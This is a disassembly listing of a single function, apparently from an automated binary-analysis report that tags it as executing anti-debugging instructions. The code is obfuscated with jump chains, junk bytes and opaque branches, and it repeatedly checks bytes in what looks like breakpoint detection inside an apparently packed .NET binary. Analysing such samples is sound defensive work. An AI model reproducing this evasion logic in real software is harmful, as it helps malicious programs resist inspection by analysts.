Function at 0x720798
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x72031d
mov dword [esp + 0x28], eax
jmp 0x72033f
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x72034d
adc bl, ch
clc
invalid
pop ecx
sub ecx, 0x100111a7
jmp 0x720307
popal
call 0x720346
test al, 0x8d
and al, 4
popfd
jmp 0x720374
movzx ebx, byte [eax]
add ebx, 0x45654c1e
jmp 0x720379
lea esp, [esp + 4]
ret
cmp ebx, 0x45654cea
je 0x7203dd
jne 0x71f116
loopne 0x72030c
adc esi, dword [esi - 0x7b]
inc edx
out 0x44, al
fidivr dword [ebp + 0x7071cb4c]
test eax, eax
jmp 0x7203ee
push 0
jmp 0x72043b
je 0x7203db
jne 0x7203fa
push 0
jmp 0x7204cf
call 0x720408
pop edi
ja 0x720465
jae 0x72046d
arpl word [ebp + 0x70], bp
add bl, ch
adc al, 0xbf
sub byte [esi - 0x3a15d727], bh
sub eax, 0x246d470
call dword [eax + 0x2454018]
jmp 0x7203d3
call 0x720440
pop eax
jmp 0x720411
popfd
lea esp, [esp + 4]
ret
popal
push edx
lea esp, [esp + 4]
jmp 0x720443
call 0x72046a
jmp 0x72058e
add byte [eax], al
add dword [eax + 3], 0x448995ba
and al, 0x28
jmp 0x72045d
call 0x7204d4
jmp 0x720e42
mov dword [esp + 0x28], eax
jmp 0x720732
call 0x720504
jmp 0x720766
pop ecx
sub ecx, 0x1001252a
jmp 0x720602
push 0
jmp 0x72062f
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
movzx ebx, byte [eax]
add ebx, 0x4bc3a714
jmp 0x720627
cmp ebx, 0x4bc3a7e0
jmp fcn.00720660
call 0x720634
jmp 0x720a1e
test eax, eax
jmp 0x7209f2
popal
push edx
lea esp, [esp + 4]
jmp 0x7208a2
pop ecx
sub ecx, 0x100125c4
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x72084f
call 0x720798
pop edi
pop edi
insb byte es:[edi], dx
insb byte es:[edi], dx
outsd dx, dword [esi]
outsb dx, byte [esi]
js 0x7207ff
je 0x720798
push eax
call fcn.0071342a
jmp 0x7204ff
push 0
jmp 0x7208be
sub eax, 0xd0b4228b
jmp 0x72080b
call 0x72081b
dec ebp
push ebx
push esi
inc ebx
push edx
push esp
insb byte es:[edi], dx
insb byte es:[edi], dx
add bl, ch
pop edx
xchg edi, eax
dec cl
push 0xd3748075
call 0x72082a
jmp 0x72128e
je 0x7208bc
jne 0x7204d9
mov dword [esp + 0x24], eax
jmp 0x721161
movzx ebx, byte [eax]
add ebx, 0x5f0590af
cmp ebx, 0x5f05917b
jmp 0x720838
popfd
cli
call 0x7208c3
jmp 0x72139d
mov dword [esp + 0x24], eax
jmp 0x7212c4
call 0x720996
pop edi
ja 0x7209f2
jae 0x7209ff
imul esp, dword [ebx + 0x6d], reloc.mscoree.dll__CorExeMain
or dword [eax], eax
add byte [edx + 0xf], al
test byte [edi - 5], ah
invalid
je 0x7203f2
jne 0x720787
je 0x7205cd
test cl, cl
sti
invalid
jne 0x720a68
pop eax
sub eax, 0x60122105
call dword [eax + 0x60108ab9]
jmp 0x720a4a
test eax, eax
jmp 0x7209fe
call 0x720a80
inc edi
je 0x720abe
popal
jo 0x720ae4
inc esi
imul ebp, dword [ebp + 0x4e], 0x57656d61
insb byte es:[edi], dx
dec esi
popal
insd dword es:[edi], dx
push edi
add byte [eax - 0x18], dl
movsb byte es:[edi], byte [esi]
sub edi, edi
invalid
and al, 0x10
sub eax, 0xda87def1
jmp fcn.0072064b
pushal
jmp fcn.0072068c
or eax, 0xa1b60000
loopne 0x720a78
and al, 0x20
cmp dword [esp + 4], 0
jne 0x720b17
jmp 0x720acb
jmp 0x720bcf
popfd
ret
pop eax
sub eax, 0x2b4da4b
call dword [eax + 0x2b3455f]
jmp 0x7206dc
popal
inc dword [esp + 8]
push edx
lea esp, [esp + 4]
jmp 0x72126f
popfd
ret
movzx ebx, byte [eax]
add ebx, 0xf3b63437
jmp 0x721317
pop ecx
sub ecx, 0x100128ea
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x721271
popal
popfd
ret
movzx ebx, byte [eax]
add ebx, 0x3a6dbc56
jmp 0x7213d7
cmp ebx, 0xf3b63503
je 0x72137b
jne 0x720844
call dword [eax + 0x759c3820]
test eax, eax
jmp 0x721377
je 0x7207c9
invalid
jne 0x720987
pop ecx
sub ecx, 0x10012999
jmp 0x721404
pop eax
sub eax, 0xa92e4060
call dword [eax - 0x56d3587b]
jmp 0x72132b
cmp ebx, 0x3a6dbd22
je 0x72143b
jne 0x720905
inc dword [esp + 8]
jmp 0x7214ed
mov dword [ecx + reloc.mscoree.dll__CorExeMain], eax
jmp 0x7212c7
invalid
popfd
ret